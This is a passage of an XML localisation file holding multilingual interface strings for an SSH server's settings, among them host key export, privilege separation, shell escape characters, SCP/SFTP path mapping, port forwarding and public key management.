<hu>Új gazdagép-kulcs készült</hu>
<pt-br>Nova chave de host gerada</pt-br>
<nl>Nieuwe sleutel voor hostcomputer is gegenereerd</nl>
</msg>
<msg name="GENHKFAIL">
<en>Failed to generate new host key</en>
<de>Neuer Host Schlüssel konnte nicht generiert werden</de>
<es>Error al crear nueva clave del host.</es>
<fr>Echec de génération d'une nouvelle clé d'hôte</fr>
<it>Generazione della nuova chiave host non riuscita</it>
<ru>Не удалось сгенерировать новый ключ хост-компьютера</ru>
<ja>新しいホスト鍵の作成に失敗しました。</ja>
<zh>无法生成新主机密钥</zh>
<ko>새 호스트 키 생성 실패</ko>
<en-gb>Failed to generate new host key</en-gb>
<hu>Nem sikerült létrehozni az új gazdagép-kulcsot.</hu>
<pt-br>Falha ao gerar nova chave de host</pt-br>
<nl>Nieuwe sleutel voor hostcomputer genereren is mislukt</nl>
</msg>
<msg name="HKEXPORT">
<en>Export SSH2 public host keys in SECSH format</en>
<de>SSH2 öffentlichen Host Schlüssel in SECSH Format exportieren</de>
<es>Exportar claves del host SSH2 públicas en formato SECSH</es>
<fr>Exporter la clé publique SSH2 de l'hôte au format SECSH</fr>
<it>Esporta chiavi host pubbliche SSH2 in formato SECSH</it>
<ru>Экспортировать ключи общедоступного хост-компьютера SSH2 в формате SECSH</ru>
<ja>SSH2 公開ホスト鍵を SECSH フォーマットでエクスポート</ja>
<zh>以 SECSH 格式导出 SSH2 主机公钥</zh>
<ko>SSH2 공용 호스트 키를 SECSH 형식으로 내보내기</ko>
<en-gb>Export SSH2 public host keys in SECSH format</en-gb>
<hu>SSH2 nyilvános gazdagép-kulcsok exportálása SECSH formátumban</hu>
<pt-br>Exportar chaves de host públicas no formato SECSH</pt-br>
<nl>Openbare SSH2-sleutels voor hostcomputer exporteren in SECSH-indeling</nl>
</msg>
<msg name="HKEXPFAIL">
<en>SECSH export failed</en>
<de>SECSH konnte nicht exportiert werden</de>
<es>Error en exportación SECSH</es>
<fr>Echec d'export SECSH</fr>
<it>Esportazione SECSH non riuscita</it>
<ru>Ошибка экспорта SECSH</ru>
<ja>SECSH エクスポートに失敗しました。</ja>
<zh>SECSH 导出失败</zh>
<ko>SECSH 내보내기 실패</ko>
<en-gb>SECSH export failed</en-gb>
<hu>A SECSH exportálás sikertelen volt</hu>
<pt-br>Falha na exportação de SECSH</pt-br>
<nl>Exporteren in SECSH-indeling is mislukt</nl>
</msg>
<msg name="HKEXPOKRSA">
<en>RSA host key exported</en>
<de>RSA Host Schlüssel exportiert</de>
<es>Clave del host RSA exportada</es>
<fr>Clé d'hôte RSA exportée</fr>
<it>Chiave host RSA esportata</it>
<ru>Ключ хост-компьютера RSA экспортирован</ru>
<ja>RSA ホスト鍵がエクスポートされました</ja>
<zh>已导出 RSA 主机密钥</zh>
<ko>RSA 호스트 키 내보내기</ko>
<en-gb>RSA host key exported</en-gb>
<hu>Az RSA gazdagép-kulcs exportálva</hu>
<pt-br>Chave de host RSA exportada</pt-br>
<nl>De RSA-sleutel voor de hostcomputer is geëxporteerd</nl>
</msg>
<msg name="HKEXPOKDSA">
<en>DSA host key exported</en>
<de>DSA Host Schlüssel exportiert</de>
<es>Clave del host DSA exportada</es>
<fr>Clé d'hôte DSA exportée</fr>
<it>Chiave host DSA esportata</it>
<ru>Ключ хост-компьютера DSA экспортирован</ru>
<ja>DSA ホスト鍵がエクスポートされました</ja>
<zh>已导出 DSA 主机密钥</zh>
<ko>DSA 호스트 키 내보내기</ko>
<en-gb>DSA host key exported</en-gb>
<hu>A DSA gazdagép-kulcs exportálva</hu>
<pt-br>Chave de host DSA exportada</pt-br>
<nl>De DSA-sleutel voor de hostcomputer is geëxporteerd</nl>
</msg>
<msg name="HKEXPOK">
<en>RSA and DSA host keys exported</en>
<de>RSA und DSA Host Schlüssel exportiert</de>
<es>Claves del host RSA y DSA exportadas</es>
<fr>Clés d'hôte RSA et DSA exportées</fr>
<it>Chiavi host RSA e DSA esportate</it>
<ru>Ключи хост-компьютеров RSA и DSA экспортированы</ru>
<ja>RSA ホスト鍵と DSA ホスト鍵がエクスポートされました</ja>
<zh>已导出 RSA 和 DSA 主机密钥</zh>
<ko>RSA 및 DSA 호스트 키 내보내기</ko>
<en-gb>RSA and DSA host keys exported</en-gb>
<hu>Az RSA és DSA gazdagép-kulcsok exportálva</hu>
<pt-br>Chaves de host RSA e DSA exportadas</pt-br>
<nl>De RSA- en DSA-sleutels voor de hostcomputer zijn geëxporteerd</nl>
</msg>
<msg name="PRIVSEP">
<en>Privilege Separation</en>
<de>Privilegien Trennung</de>
<es>Separación de privilegios</es>
<fr>Séparation des Privilèges</fr>
<it>Separazione dei privilegi</it>
<ru>Разделение привилегий</ru>
<ja>特権の分離</ja>
<zh>特权分离</zh>
<ko>권한 분리</ko>
<en-gb>Privilege Separation</en-gb>
<hu>Jogosultságok elkülönítése</hu>
<pt-br>Separação de privilégio</pt-br>
<nl>Scheiding van bevoegdheden</nl>
</msg>
<msg name="PRIVSEPPROTECTED">
<en>Set permissions on objects owned by TrustedInstaller</en>
<de>Berechtigungen für Objekte erteilen, die TrustedInstaller gehören</de>
<es>Establecer permisos en los objetos propiedad de TrustedInstaller</es>
<fr>Définir les autorisations pour les objets possédés par TrustedInstaller</fr>
<it>Imposta le autorizzazioni sugli oggetti di proprietà di TrustedInstaller</it>
<ru>Установить разрешения для объектов TrustedInstaller</ru>
<ja>TrustedInstaller が所有するオブジェクトの権限を設定する</ja>
<zh>对 TrustedInstaller 拥有的对象设置权限</zh>
<ko>TrustedInstaller 소유 개체에 대한 권한 설정</ko>
<hu>Engedélyek beállítása a TrustedInstaller objektumaihoz</hu>
<pt-br>Definir permissões em objetos de propriedade do TrustedInstaller</pt-br>
<nl>Toestemmingen instellen voor objecten die eigendom zijn van TrustedInstaller</nl>
</msg>
<msg name="PRIVSEPDOMAIN">
<en>If this computer is a member of a domain, and domain security
policies override local login privileges, the Privilege Separation
User with Guest privileges might not be allowed to log in. Do you
wish to continue?</en>
<de>Wenn dieser Computer ist Mitglied einer Domäne und die
Sicherheitsrichtlinien der Domäne überschreiben die lokalen
Anmeldeprivilegien, dann kann sich ein Privilegientrennungs- Benutzer
mit Gast Privilegien möglicherweise nicht anmelden. Möchten Sie dennoch
fortfahren?</de>
<es>Si este ordenador es miembro de un dominio y las políticas de seguridad del dominio
ignoran los privilegios locales de inicio de sesión, es posible que el usuario de la separación de privilegios
con privilegios de invitado no tenga permiso para iniciar sesión. ¿Desea
continuar?</es>
<fr>Si cet ordinateur est membre d'un domaine, et que les règles de
sécurité du domaine surpassent les règles de sécurité du login local,
Tous les utilisateurs avec les droits d'accès d'invité pourraient se voir
refuser l'accès. Souhaitez-vous continuer ?</fr>
<it>Se il computer è membro di un dominio e i criteri di protezione del dominio sono prioritari rispetto ai privilegi di accesso locali, potrebbe non essere consentito l'accesso all'utente della separazione dei privilegi con privilegi Ospite. Continuare?</it>
<ru>Если данный компьютер является членом домена и политики безопасности домена замещают локальные привилегии входа, то в этом случае, возможно, пользователю разделения привилегий с правами гостя не разрешается войти в систему. Продолжить?</ru>
<ja>このコンピュータがドメインのメンバーで、ドメイン セキュリティ ポリシーがローカル ログイン特権に優先する場合、ゲスト特権を持つ特権分離ユーザがログインできなくなる可能性があります。続行しますか?</ja>
<zh>如果此计算机是域的成员,并且域安全策略将替代本地登录特权,则系统可能不允许具有来宾特权的特权分离用户登录。是否要继续?</zh>
<ko>이 컴퓨터가 도메인 구성원이고 도메인 보안 정책이 로컬 로그인 권한을 무시할 경우, 게스트 권한을 가진 권한 분리 사용자는 로그인하지 못할 수도 있습니다. 계속하시겠습니까?</ko>
<en-gb>If this computer is a member of a domain and the domain security policies override local login privileges, the Privilege Separation User with Guest privileges might not be allowed to log in. Do you wish to continue?</en-gb>
<hu>Ha ez a számítógép egy tartomány tagja, és a tartomány biztonsági
házirendjei felülbírálják a hely bejelentkezési jogosultságokat, akkor a jogosultság-elkülönítéssel rendelkező
felhasználó, vendég jogosultságokkal esetleg nem tud bejelentkezni.
Folytatja?</hu>
<pt-br>Se este computador for um membro de um domínio e as políticas de segurança de domínio
substituírem privilégios de login locais, o usuário com separação de privilégio
e privilégio de convidado não poderá fazer login. Deseja
continuar?</pt-br>
<nl>Als deze computer deel uitmaakt van een domein en het beveiligingsbeleid voor het domein voorrang krijgt op de lokale bevoegdheden voor aanmeldingen, is het mogelijk dat gebruikers met bevoegdheden als gastgebruiker in de modus van scheiding van de bevoegdheden geen toestemming krijgen om zich aan te melden. Wilt u doorgaan?</nl>
</msg>
<msg name="PRIVSEPENABLE">
<en>Enable</en>
<de>Aktivieren</de>
<es>Habilitar</es>
<fr>Activé</fr>
<it>Attiva</it>
<ru>Включить</ru>
<ja>有効</ja>
<zh>启用</zh>
<ko>사용</ko>
<en-gb>Enable</en-gb>
<hu>Bekapcsolás</hu>
<pt-br>Habilitar</pt-br>
<nl>Inschakelen</nl>
</msg>
<msg name="PRIVSEPDISABLE">
<en>Disable</en>
<de>Deaktivieren</de>
<es>Deshabilitar</es>
<fr>Désactivé</fr>
<it>Disattiva</it>
<ru>Отключить</ru>
<ja>無効</ja>
<zh>禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disable</en-gb>
<hu>Kikapcsolás</hu>
<pt-br>Desabilitar</pt-br>
<nl>Uitschakelen</nl>
</msg>
<msg name="PRIVSEPCHECK">
<en>Check</en>
<de>Prüfen</de>
<es>Verificar</es>
<fr>Contrôlé</fr>
<it>Controlla</it>
<ru>Проверить</ru>
<ja>確認</ja>
<zh>检查</zh>
<ko>확인</ko>
<en-gb>Check</en-gb>
<hu>Ellenőrzés</hu>
<pt-br>Verificar</pt-br>
<nl>Controleren</nl>
</msg>
<msg name="PRIVSEPDESCRIBE">
<en>What is it?</en>
<de>Was ist das?</de>
<es>¿Qué es esto?</es>
<fr>Qu'est-ce?</fr>
<it>Che cos'è?</it>
<ru>Что это?</ru>
<ja>これは何?</ja>
<zh>这是什么?</zh>
<ko>설명?</ko>
<en-gb>What is it?</en-gb>
<hu>Mi ez?</hu>
<pt-br>O que é isso?</pt-br>
<nl>Wat is dit?</nl>
</msg>
<cat name="PRIVSEPUSER">
<msg name="FULLNAME">
<en>%PRODUCTNAME SSH Privilege Separation User</en>
<de>%PRODUCTNAME SSH-Benutzer mit getrennten Zugriffsrechten</de>
<es>%PRODUCTNAME Usuario de la separación de privilegios SSH</es>
<fr>Utilisateur de séparation de privilèges SSH de %PRODUCTNAME</fr>
<it>Utente separazione dei privilegi SSH di %PRODUCTNAME</it>
<ru>SSH-пользователь разделения привилегий %PRODUCTNAME</ru>
<ja>%PRODUCTNAME SSH 特権分離ユーザ</ja>
<zh>%PRODUCTNAME SSH 特权分离用户</zh>
<ko>%PRODUCTNAME SSH 권한 분리 사용자</ko>
<en-gb>%PRODUCTNAME SSH Privilege Separation User</en-gb>
<hu>%PRODUCTNAME SSH felhasználó, jogosultság-elkülönítéssel</hu>
<pt-br>Usuário com separação de privilégio do SSH do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME SSH-gebruiker in modus van scheiding van bevoegdheden</nl>
</msg>
<msg name="DESC">
<en>Limited account for SSH sessions with privilege separation</en>
<de>Eingeschränktes Konto für SSH-Sitzungen mit getrennten Zugriffsrechten</de>
<es>Cuenta limitada para sesiones de SSH con separación de privilegios</es>
<fr>Compte limité pour les sessions SSH avec séparation de privilèges</fr>
<it>Account molto limitato per sessioni SSH con separazione dei privilegi</it>
<ru>Сильно ограниченная учетная запись для SSH-сеансов с разделением привилегий</ru>
<ja>特権の分離により、SSH セッションのアカウントを厳しく制限する</ja>
<zh>具有特权分离的 SSH 会话的严格限制帐户</zh>
<ko>권한 분리가 설정된 SSH 세션에 대해 엄격히 제한된 계정</ko>
<en-gb>Severely limited account for SSH sessions with privilege separation</en-gb>
<hu>Az jogosultság-elkülönítéssel rendelkező SSH munkamenetek korlátozott fiókja</hu>
<pt-br>Conta limitada para sessões do SSH com separação de privilégio</pt-br>
<nl>Beperkte account voor SSH-sessies met scheiding van bevoegdheden</nl>
</msg>
</cat>
<cat name="PRIVSEPSTATUS">
<msg name="DISABLED">
<en>Disabled.</en>
<de>Deaktiviert.</de>
<es>Deshabilitado.</es>
<fr>Désactivé.</fr>
<it>Disattivata.</it>
<ru>Отключено.</ru>
<ja>無効です。</ja>
<zh>已禁用。</zh>
<ko>사용 안 함.</ko>
<en-gb>Disabled.</en-gb>
<hu>Kikapcsolva.</hu>
<pt-br>Desabilitado.</pt-br>
<nl>Uitgeschakeld.</nl>
</msg>
<msg name="ENABLED">
<en>Enabled.</en>
<de>Aktiviert.</de>
<es>Habilitado.</es>
<fr>Activé.</fr>
<it>Attivata.</it>
<ru>Включено.</ru>
<ja>有効です。</ja>
<zh>已启用。</zh>
<ko>사용.</ko>
<en-gb>Enabled.</en-gb>
<hu>Bekapcsolva.</hu>
<pt-br>Habilitado.</pt-br>
<nl>Ingeschakeld.</nl>
</msg>
<msg name="ENABLING">
<en>Enabled, setting rights...</en>
<de>Aktiviert, setze Berechtigungen...</de>
<es>Habilitado, derechos de configuración...</es>
<fr>Activé, paramètrise les droits...</fr>
<it>Attivata, impostazione dei diritti...</it>
<ru>Включено, выполняется настройка прав...</ru>
<ja>有効です。権限を設定しています...</ja>
<zh>已启用,正在设置权限...</zh>
<ko>사용, 권한 설정 중...</ko>
<en-gb>Enabled, setting rights...</en-gb>
<hu>Bekapcsolva, jogosultságok beállítása...</hu>
<pt-br>Habilitado, configurando direitos...</pt-br>
<nl>Ingeschakeld, bezig met instellen van toegangsrechten...</nl>
</msg>
<msg name="DISABLING">
<en>Disabled, removing security settings, deleting user...</en>
<de>Deaktiviert, Sicherheitseinstellungen werden entfernt, Benutzer wird gelöscht ....</de>
<es>Deshabilitado, eliminando configuración de seguridad, eliminando usuario...</es>
<fr>Désactivé, supprime les paramètres de sécurité, efface l'utilisateur...</fr>
<it>Disattivata, rimozione delle impostazioni di protezione, eliminazione dell'utente...</it>
<ru>Отключено, удаляются настройки безопасности, удаляется пользователь...</ru>
<ja>無効です。セキュリティ設定を解除し、ユーザを削除しています...</ja>
<zh>已禁用,正在删除安全设置并删除用户...</zh>
<ko>사용 안 함, 보안 설정 제거, 사용자 삭제 중...</ko>
<en-gb>Disabled, removing security settings, deleting user...</en-gb>
<hu>Kikapcsolva, biztonsági beállítások eltávolítása, felhasználó törlése...</hu>
<pt-br>Desabilitando, removendo configurações de segurança, excluindo usuário...</pt-br>
<nl>Uitgeschakeld, bezig met verwijderen van beveiligingsinstellingen, bezig met verwijderen van gebruiker...</nl>
</msg>
<msg name="CHECKING">
<en>Enabled, checking rights...</en>
<de>Aktiviert, prüfe Berechtigungen...</de>
<es>Habilitado, comprobando derechos...</es>
<fr>Activé, contrôle les droits...</fr>
<it>Attivata, controllo dei diritti...</it>
<ru>Включено, проверяются права...</ru>
<ja>有効です。権限を確認しています...</ja>
<zh>已启用,正在检查权限...</zh>
<ko>사용, 권한 확인 중...</ko>
<en-gb>Enabled, checking rights...</en-gb>
<hu>Bekapcsolva, jogosultságok ellenőrzése...</hu>
<pt-br>Habilitado, verificando direitos...</pt-br>
<nl>Ingeschakeld, bezig met controleren van toegangsrechten...</nl>
</msg>
</cat>
<msg name="PSENOK">
<en>enabling privilege separation</en>
<de>Privilegien Trennung aktivieren</de>
<es>habilitando separación de privilegios</es>
<fr>activé la séparation des privilèges</fr>
<it>attivazione della separazione dei privilegi</it>
<ru>включение разделения привилегий</ru>
<ja>特権の分離を有効にしています</ja>
<zh>正在启用特权分离</zh>
<ko>권한 분리 사용</ko>
<en-gb>enabling privilege separation</en-gb>
<hu>jogosultság elkülönítés bekapcsolása</hu>
<pt-br>habilitando separação de privilégio</pt-br>
<nl>bezig met inschakelen van scheiding van bevoegdheden</nl>
</msg>
<msg name="PSENFAIL">
<en>failed to enable privilege separation</en>
<de>Die Aktivierung der Privilegien Trennung ist fehlgeschlagen</de>
<es>error al habilitar la separación de privilegios</es>
<fr>echec à l'activation de la séparation des privilèges</fr>
<it>attivazione della separazione dei privilegi non riuscita</it>
<ru>не удалось включить разделение привилегий</ru>
<ja>特権の分離を有効にできませんでした</ja>
<zh>无法启用特权分离</zh>
<ko>권한 분리를 사용하지 못함</ko>
<en-gb>failed to enable privilege separation</en-gb>
<hu>jogosultság elkülönítés bekapcsolása sikertelen volt</hu>
<pt-br>falha ao habilitar separação de privilégio</pt-br>
<nl>inschakelen van scheiding van bevoegdheden is mislukt</nl>
</msg>
<msg name="PSDISOK">
<en>disabling privilege separation</en>
<de>Privilegien Trennung deaktivieren</de>
<es>deshabilitando separación de privilegios</es>
<fr>désactivé la séparation des privilèges</fr>
<it>disattivazione della separazione dei privilegi</it>
<ru>отключение разделения привилегий</ru>
<ja>特権の分離を無効にしています</ja>
<zh>正在禁用特权分离</zh>
<ko>권한 분리 해제</ko>
<en-gb>disabling privilege separation</en-gb>
<hu>jogosultság elkülönítés kikapcsolása</hu>
<pt-br>desabilitando separação de privilégio</pt-br>
<nl>bezig met uitschakelen van scheiding van bevoegdheden</nl>
</msg>
<msg name="PSDISFAIL">
<en>failed to disable privilege separation</en>
<de>Die Deaktivierung der Privilegien Trennung ist fehlgeschlagen</de>
<es>error al deshabilitar la separación de privilegios</es>
<fr>echec à la désactivation de la séparation des privilèges</fr>
<it>disattivazione della separazione dei privilegi non riuscita</it>
<ru>не удалось отключить разделение привилегий</ru>
<ja>特権の分離を無効にできませんでした</ja>
<zh>无法禁用特权分离</zh>
<ko>권한 분리를 해제하지 못함</ko>
<en-gb>failed to disable privilege separation</en-gb>
<hu>jogosultság elkülönítés kikapcsolása sikertelen volt</hu>
<pt-br>falha ao desabilitar separação de privilégio</pt-br>
<nl>uitschakelen van scheiding van bevoegdheden is mislukt</nl>
</msg>
<msg name="PSCHKOK">
<en>checking privilege separation</en>
<de>prüfe Privilegien Trennung</de>
<es>verificando separación de privilegios</es>
<fr>contrôle de la séparation des privilèges</fr>
<it>controllo della separazione dei privilegi</it>
<ru>проверка разделения привилегий</ru>
<ja>特権の分離を確認しています</ja>
<zh>正在检查特权分离</zh>
<ko>권한 분리 확인</ko>
<en-gb>checking privilege separation</en-gb>
<hu>jogosultság elkülönítés ellenőrzése</hu>
<pt-br>verificando separação de privilégio</pt-br>
<nl>bezig met controleren van scheiding van bevoegdheden</nl>
</msg>
<msg name="PSCHKFAIL">
<en>failed to check privilege separation</en>
<de>Die Prüfung der Privilegien Trennung ist fehlgeschlagen</de>
<es>error al verificar la separación de privilegios</es>
<fr>echec de contrôle de la séparation des privilèges</fr>
<it>controllo della separazione dei privilegi non riuscito</it>
<ru>не удалось проверить разделение привилегий</ru>
<ja>特権の分離を確認できませんでした</ja>
<zh>无法检查特权分离</zh>
<ko>권한 분리를 확인하지 못함</ko>
<en-gb>failed to check privilege separation</en-gb>
<hu>jogosultság elkülönítés ellenőrzése sikertelen volt</hu>
<pt-br>falha ao verificar separação de privilégio</pt-br>
<nl>controleren van scheiding van bevoegdheden is mislukt</nl>
</msg>
<msg name="CUSTOMCMDLINE">
<en>Non-interactive session command processor</en>
<de>Befehlsprozessor für nicht interaktive Sitzungen</de>
<fr>Processeur de commande de session non-interactive</fr>
<es>Procesador de comando de sesión no interactivo</es>
<it>Processore dei comandi della sessione non interattivo</it>
<ru>Обработчик команд неинтерактивных сеансов</ru>
<ja>非対話型セッションのコマンド プロセッサ</ja>
<zh>非交互式会话命令处理器</zh>
<ko>비대화형 세션 명령 프로세서</ko>
<en-gb>Non-interactive session command processor</en-gb>
<hu>Nem interaktív munkamenet parancsértelmező</hu>
<pt-br>Processador de comando da sessão não interativa</pt-br>
<nl>Opdrachtverwerker voor niet-interactieve sessie</nl>
</msg>
<msg name="ESCAPECHAR">
<en>Shell escape character</en>
<de>Shell-Escape-Zeichen</de>
<fr>Caractère d'échappement de la console</fr>
<es>Carácter de escape de shell</es>
<it>Carattere di escape della shell</it>
<ru>Символ выхода из оболочки</ru>
<ja>シェル エスケープ文字</ja>
<zh>Shell 转义符</zh>
<ko>셸 이스케이프 문자</ko>
<en-gb>Shell escape character</en-gb>
<hu>Rendszerhéj escape karakter</hu>
<pt-br>Caractere de escape do shell</pt-br>
<nl>Escape-teken in shell</nl>
</msg>
<msg name="ESCAPECHAR.CARET">
<en>^ - Caret, Windows command processor</en>
<de>^ - Caret-Zeichen, Windows-Befehlsprozessor</de>
<fr>^ - Accent circonflexe, processeur de commande de Windows</fr>
<es>^ - Signo exponencial, procesador de comandos de Windows</es>
<it>^ - Accento circonflesso, processore dei comandi di Windows</it>
<ru>^ - знак вставки, обработчик команд Windows</ru>
<ja>^ - キャレット、Windows コマンド プロセッサ</ja>
<zh>^ - 插入点,Windows 命令处理器</zh>
<ko>^ - 캐럿, Windows 명령 프로세서</ko>
<en-gb>^ - Caret, Windows command processor</en-gb>
<hu>^ - csúcsos ékezet, Windows parancsértelmező</hu>
<pt-br>^ - Caret, processador de comando do Windows</pt-br>
<nl>^ - Caret, Windows-opdrachtverwerker</nl>
</msg>
<msg os="macosx" name="ESCAPECHAR.CARET">
<en>^ - Caret, Windows command processor</en>
<de>^ - Caret-Zeichen, Windows-Befehlsprozessor</de>
<fr>^ - Accent circonflexe, processeur de commande de Windows</fr>
<es>^ - Signo exponencial, procesador de comandos de Windows</es>
<it>^ - Accento circonflesso, processore dei comandi di Windows</it>
<ru>^ - знак вставки, обработчик команд Windows</ru>
<ja>^ - キャレット、Windows コマンド プロセッサ</ja>
<zh>^ - 插入点,Windows 命令处理器</zh>
<ko>^ - 캐럿, Windows 명령 프로세서</ko>
<en-gb>^ - Caret, Windows command processor</en-gb>
<hu>^ - csúcsos ékezet, Windows parancsértelmező</hu>
<pt-br>^ - Caret, processador de comando do Windows</pt-br>
<nl>^ - Caret, Windows-opdrachtverwerker</nl>
</msg>
<msg name="ESCAPECHAR.BACKSLASH">
<en>\\ - Backslash, Unix style (bash)</en>
<de>\\ - Umgekehrter Schrägstrich, Unix-Format (bash-Shell)</de>
<fr>\\ - Barre oblique inverse, Style Unix</fr>
<es>\\ - Barra inversa, estilo Unix (bash)</es>
<it>\\ - Barra rovesciata, stile Unix (bash)</it>
<ru>\\ - обратная косая черта, символ Unix (bash)</ru>
<ja>\\ - バックスラッシュ、Unix スタイル (バッシュ)</ja>
<zh>\\ - 反斜杠,Unix 样式 (bash)</zh>
<ko>\\ - 백슬래시, Unix 스타일(배시)</ko>
<en-gb>\\ - Backslash, Unix style (bash)</en-gb>
<hu>\\ - fordított törtjel, Unix stílus (bash)</hu>
<pt-br>\\ - Barra invertida, estilo Unix (bash)</pt-br>
<nl>\\ - Backslash, Unix-notatie (bash)</nl>
</msg>
<msg name="ESCAPECHAR.NONE">
<en>None (not recommended)</en>
<de>Kein</de>
<es>Ninguno (no recomendado)</es>
<fr>Aucun</fr>
<it>Nessuno (non consigliato)</it>
<ru>Отсутствует (не рекомендуется)</ru>
<ja>なし (推奨しません)</ja>
<zh>无(不推荐)</zh>
<ko>없음(권장되지 않음)</ko>
<en-gb>None (not recommended)</en-gb>
<hu>Semmi (nem ajánlott)</hu>
<pt-br>Nenhum (não recomendado)</pt-br>
<nl>Geen (niet aanbevolen)</nl>
</msg>
<msg name="PATHMAPPING">
<en>Path Mapping in SCP/SFTP</en>
<de>Pfadzuordnung in SCP/SFTP</de>
<fr>Mappage de chemin en SCP/SFTP</fr>
<es>Mapeo de ruta en SCP/SFTP</es>
<it>Mapping del percorso in SCP/SFTP</it>
<ru>Сопоставление путей в SCP/SFTP</ru>
<ja>SCP/SFTP のパス マッピング</ja>
<zh>SCP/SFTP 中的路径映射</zh>
<ko>SCP/SFTP에서 경로 매핑</ko>
<en-gb>Path Mapping in SCP/SFTP</en-gb>
<hu>Elérési út leképzése az SCP/SFTP-ben</hu>
<pt-br>Mapeamento do caminho em SCP/SFTP</pt-br>
<nl>Padtoewijzing in SCP/SFTP</nl>
</msg>
<msg name="NOMAPPING">
<en>There are no path mapping entries.</en>
<de>Es sind keine Pfadzuordnungseinträge vorhanden.</de>
<fr>Il n'existe aucune entrée de mappage de chemin.</fr>
<es>No existen entradas de mapeo de ruta.</es>
<it>Nessuna voce di mapping del percorso disponibile.</it>
<ru>Нет записей сопоставления путей.</ru>
<ja>パス マッピングの入力がありません。</ja>
<zh>无路径映射条目。</zh>
<ko>경로 매핑 항목이 없습니다.</ko>
<en-gb>There are no path mapping entries.</en-gb>
<hu>Nincsenek elérési út leképzési bejegyzések.</hu>
<pt-br>Não há entradas de mapeamento do caminho.</pt-br>
<nl>Er zijn geen padtoewijzingsingangen gevonden.</nl>
</msg>
<msg name="PATH.VIRT">
<en>Virtual path</en>
<de>Virtueller Pfad</de>
<es>Ruta virtual</es>
<fr>Chemin virtuelle</fr>
<it>Percorso virtuale</it>
<ru>Виртуальный путь</ru>
<ja>仮想パス</ja>
<zh>虚拟路径</zh>
<ko>가상 경로</ko>
<en-gb>Virtual path</en-gb>
<hu>Virtuális elérési út</hu>
<pt-br>Caminho virtual</pt-br>
<nl>Virtueel pad</nl>
</msg>
<msg name="PATH.PHYS">
<en>Physical path</en>
<de>Physikalischer Pfad</de>
<es>Ruta física</es>
<fr>Chemin physique</fr>
<it>Percorso fisico</it>
<ru>Физический путь</ru>
<ja>物理パス</ja>
<zh>物理路径</zh>
<ko>실제 경로</ko>
<en-gb>Physical path</en-gb>
<hu>Fizikai elérési út</hu>
<pt-br>Caminho físico</pt-br>
<nl>Fysiek pad</nl>
</msg>
</cat>
<!-- CONFIG.SSHPORTFWD -->
<cat name="SSHPORTFWD">
<msg name="TITLE">
<en>SSH Port Forwarding</en>
<es>SSH Port Forwarding</es>
<de>SSH Port Forward (SSH-Portweiterleitung)</de>
<fr>Redirection de ports SSH</fr>
<it>SSH Port Forwarding</it>
<ru>Перенаправление портов SSH Port Forward</ru>
<ja>SSH Port Forward</ja>
<zh>SSH 端口转发</zh>
<ko>SSH 포트 전달</ko>
<en-gb>SSH Port Forwarding</en-gb>
<hu>SSH Port Forward</hu>
<pt-br>SSH Port Forwarding</pt-br>
<nl>SSH Port Forwarding </nl>
</msg>
<msg name="PORT">
<en>Port number</en>
<es>Número de puerto</es>
<de>Portnummer</de>
<fr>Numéro de port</fr>
<it>Numero porta</it>
<ru>Номер порта</ru>
<ja>ポート番号</ja>
<zh>端口号</zh>
<ko>포트 번호</ko>
<en-gb>Port number</en-gb>
<hu>Port száma</hu>
<pt-br>Número da porta</pt-br>
<nl>Poortnummer</nl>
</msg>
<msg name="DESTHOST">
<en>Destination host</en>
<es>Host de destino</es>
<de>Zielhost</de>
<fr>Hôte de destination</fr>
<it>Host di destinazione:</it>
<ru>Целевой хост</ru>
<ja>転送先ホスト コンピュータ</ja>
<zh>目标主机</zh>
<ko>대상 호스트</ko>
<en-gb>Destination host</en-gb>
<hu>Célállomás</hu>
<pt-br>Host de destino</pt-br>
<nl>Bestemming host</nl>
</msg>
<msg name="DESTPORT">
<en>Destination port number</en>
<es>Número de puerto del ordenador de destino</es>
<de>Portnummer des Zielcomputers</de>
<fr>Numéro de port de destination</fr>
<it>Numero porta di destinazione</it>
<ru>Номер целевого порта</ru>
<ja>転送先ポート番号</ja>
<zh>目标端口号</zh>
<ko>대상 포트 번호</ko>
<en-gb>Destination port number</en-gb>
<hu>Célport száma</hu>
<pt-br>Número da porta de destino</pt-br>
<nl>Poortnummer bestemmingscomputer</nl>
</msg>
<msg name="DESCR">
<en>Description</en>
<es>Descripción</es>
<de>Beschreibung</de>
<fr>Description</fr>
<it>Descrizione</it>
<ru>Описание</ru>
<ja>詳細</ja>
<zh>说明</zh>
<ko>설명</ko>
<en-gb>Description</en-gb>
<hu>Leírás</hu>
<pt-br>Descrição</pt-br>
<nl>Beschrijving</nl>
</msg>
</cat>
<!-- CONFIG.SSHPUBKEY -->
<cat name="SSHPUBKEY">
<msg name="TITLE">
<en>SSH Public Key Management for %USER</en>
<de>Verwaltung von öffentlichen SSH-Schlüsseln für %USER</de>
<fr>Gestion de clé publique SSH pour %USER</fr>
<es>Gestión de clave pública SSH para %USER</es>
<it>Gestione chiave pubblica SSH per %USER</it>
<ru>Управление открытым ключом SSH для %USER</ru>
<ja>%USER に対する公開鍵の管理</ja>
<zh>%USER 的 SSH 公钥管理</zh>
<ko>%USER에 대한 SSH 공용 키 관리</ko>
<en-gb>SSH Public Key Management for %USER</en-gb>
<hu>SSH nyilvános kulcskezelés a %USER felhasználó számára</hu>
<pt-br>Gerenciamento da chave pública SSH para %USER</pt-br>
<nl>Beheer van openbare sleutels voor SSH voor %USER</nl>
</msg>
<msg name="KEYS">
<en>Authorized keys for account %USER</en>
<de>Zulässige Schlüssel für Konto %USER</de>
<fr>Clés autorisées pour le compte %USER</fr>
<es>Claves autorizadas para la cuenta %USER</es>
<it>Chiavi autorizzate per account %USER</it>
<ru>Авторизованные ключи для учетной записи %USER</ru>
<ja>アカウント %USER に対する認証鍵</ja>
<zh>帐户 %USER 的授权密钥</zh>
<ko>%USER 계정에 대한 인증된 키</ko>
<en-gb>Authorised keys for account %USER</en-gb>
<hu>Jóváhagyott kulcsok a(z) %USER felhasználó számára</hu>
<pt-br>Chaves autorizadas para a conta %USER</pt-br>
<nl>Geautoriseerde sleutels voor account %USER</nl>
</msg>
<msg name="NOKEYS">
<en>Currently there are no authorized public keys for this user account.</en>
<de>Zur Zeit sind keine zulässigen öffentlichen Schlüssel für dieses Benutzerkonto vorhanden.</de>
<fr>Actuellement, aucune clé publique n'a été autorisée pour ce compte utilisateur.</fr>
<es>Actualmente no existen claves públicas autorizadas para esta cuenta de usuario.</es>
<it>Nessuna chiave pubblica autorizzata disponibile al momento per questo account utente.</it>
